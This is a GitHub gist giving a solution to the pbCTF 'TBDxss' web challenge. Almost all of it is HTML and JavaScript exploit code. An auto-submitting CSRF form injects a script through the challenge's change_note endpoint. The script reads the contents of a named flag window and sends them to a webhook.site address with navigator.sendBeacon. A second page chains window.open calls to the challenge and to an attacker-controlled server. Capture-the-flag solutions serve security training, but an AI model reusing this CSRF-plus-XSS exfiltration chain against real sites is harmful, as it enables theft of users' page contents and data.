Skip to content

Instantly share code, notes, and snippets.

@ma1f0y
Last active October 12, 2021 15:12
Show Gist options
  • Save ma1f0y/49c51c0f8caaa8699dff21004076fa1a to your computer and use it in GitHub Desktop.
Save ma1f0y/49c51c0f8caaa8699dff21004076fa1a to your computer and use it in GitHub Desktop.
pbCTF-TDBxss solution
<html>
<body>
<form method="POST" action="https://tbdxss.chal.perfect.blue/change_note">
<input type="text" name="data" value="" id="xss"/>
</form>
</body>
<script>
document.getElementById("xss").value = `<script>` +
`let x = window.open('', 'flagwindow');` +
`navigator.sendBeacon('https://webhook.site/fc263f85-1387-42ca-b439-a65f2d5defce/', x.document.body.innerHTML)</scr` + `ipt>`;
document.forms[0].submit();
</script>
</html>
<html>
<head>
<script>
let flag_window = window.open("https://tbdxss.chal.perfect.blue/note#flag", "flagwindow");
setTimeout(
function() {
let csrf_window = window.open("http://server.yadhu.in/csrf.html");
}
, 2000);
setTimeout(
function() {
let access_frame_1 = window.open("https://tbdxss.chal.perfect.blue/note#accessframe")
}
, 4000);
</script>
</head>
<body>
<iframe src="https://photricity.com/flw/ajax/"></iframe>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment